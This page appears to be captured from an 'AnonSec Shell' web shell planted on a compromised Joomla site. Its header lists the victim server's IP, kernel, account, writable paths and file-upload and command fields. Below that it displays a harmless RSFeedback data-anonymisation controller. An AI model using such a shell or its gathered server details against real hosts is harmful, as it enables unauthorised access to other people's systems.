AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/dansnotreville-fr/nice/components/com_rsfeedback/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/dansnotreville-fr/nice/components/com_rsfeedback/controllers/removedata.php
<?php
/**
 * @package RSFeedback!
 * @copyright (C) 2010-2018 www.rsjoomla.com
 * @license GPL, http://www.gnu.org/licenses/gpl.html
 */

defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\User\UserHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Factory;

class RSFeedbackControllerRemovedata extends BaseController
{
    public function request() {
        try {
            $user = Factory::getUser();
            
			if ($user->guest) {
                throw new Exception(Text::_('COM_RSFEEDBACK_MUST_BE_LOGGED_IN'));
            }

            if (!RSFeedbackHelper::getConfig('allow_self_anonymisation')) {
                throw new Exception(Text::_('COM_RSFEEDBACK_THIS_FEATURE_MUST_BE_ENABLED'));
            }

            if ($user->authorise('core.admin')) {
                throw new Exception(Text::_('COM_RSFEEDBACK_THIS_FEATURE_IS_NOT_AVAILABLE_FOR_SUPER_USERS'));
            }

            // Get JConfig
            $config = Factory::getConfig();

            // Create a token
            $token = ApplicationHelper::getHash(UserHelper::genRandomPassword(10));
            $hashedToken = UserHelper::hashPassword($token);

            // Save the token
            $db = Factory::getDbo();
            $query = $db->getQuery(true);
			
            $query->clear()->select('*')
                ->from($db->qn('#__rsfeedback_tokens'))
                ->where($db->qn('user_id') . ' = ' . $db->q($user->id));
            if ($db->setQuery($query)->loadObject()) {
                $query->clear()
                    ->update($db->qn('#__rsfeedback_tokens'))
                    ->set($db->qn('token') . ' = ' . $db->q($hashedToken))
                    ->where($db->qn('user_id') . ' = ' . $db->q($user->id));
            } else {
                $query->clear()
                    ->insert($db->qn('#__rsfeedback_tokens'))
                    ->columns(array($db->qn('user_id'), $db->qn('token')))
                    ->values(implode(', ', array($db->q($user->id), $db->q($hashedToken))));
            }

            $db->setQuery($query)->execute();

            // Create the URL
            $uri 	= Uri::getInstance();
            $base	= $uri->toString(array('scheme', 'user', 'pass', 'host', 'port'));
            $url    = $base . Route::_('index.php?option=com_rsfeedback&task=removedata.process&token=' . $token, false);
			
			Factory::getMailer()->sendMail($config->get('mailfrom'), $config->get('fromname'), $user->email, Text::sprintf('COM_RSFEEDBACK_REMOVE_REQUEST_EMAIL_SUBJECT', $user->username, $config->get('sitename')), Text::sprintf('COM_RSFEEDBACK_REMOVE_REQUEST_EMAIL_BODY', $user->name, $url), true);
        } catch (Exception $e) {
            jexit($e->getMessage());
        }

        jexit(Text::_('COM_RSFEEDBACK_LINK_HAS_BEEN_SENT'));
    }

    public function process() {
        $app    = Factory::getApplication();
        $user   = Factory::getUser();

        try {
            if ($user->guest) {
                $link = base64_encode((string) Uri::getInstance());
				$app->enqueueMessage(Text::_('COM_RSFEEDBACK_MUST_BE_LOGGED_IN'));
                $app->redirect(Route::_('index.php?option=com_users&view=login&return=' . $link, false));
            }

            if (!RSFeedbackHelper::getConfig('allow_self_anonymisation')) {
                throw new Exception(Text::_('COM_RSFEEDBACK_THIS_FEATURE_MUST_BE_ENABLED'));
            }

            if ($user->authorise('core.admin')) {
                throw new Exception(Text::_('COM_RSFEEDBACK_THIS_FEATURE_IS_NOT_AVAILABLE_FOR_SUPER_USERS'));
            }

            $token = $app->input->getCmd('token');
            if (!$token || strlen($token) != 32) {
                throw new Exception(Text::_('COM_RSFEEDBACK_TOKEN_IS_INCORRECT'));
            }

            // Let's see if the token matches
            $db = Factory::getDbo();
            $query = $db->getQuery(true);
			
			$query->clear()->select($db->qn('token'))
                ->from($db->qn('#__rsfeedback_tokens'))
                ->where($db->qn('user_id') . ' = ' . $db->q($user->id));
            $dbToken = $db->setQuery($query)->loadResult();
            if (!$dbToken || !UserHelper::verifyPassword($token, $dbToken)) {
                throw new Exception(Text::_('COM_RSFEEDBACK_TOKEN_IS_INCORRECT'));
            }

            // Delete the token
            $query->clear()
                ->delete($db->qn('#__rsfeedback_tokens'))
                ->where($db->qn('user_id') . ' = ' . $db->q($user->id));
            $db->setQuery($query)->execute();

            // Anonymise data
            RSFeedbackHelper::anonymise($user->id);

            $app->logout();
            $app->redirect(Route::_('index.php?option=com_rsfeedback&view=removedata&layout=success', false));
        } catch (Exception $e) {
            $app->enqueueMessage($e->getMessage(), 'error');
            $this->setRedirect(Route::_('index.php', false));
        }
    }
}

Anon7 - 2022
AnonSec Team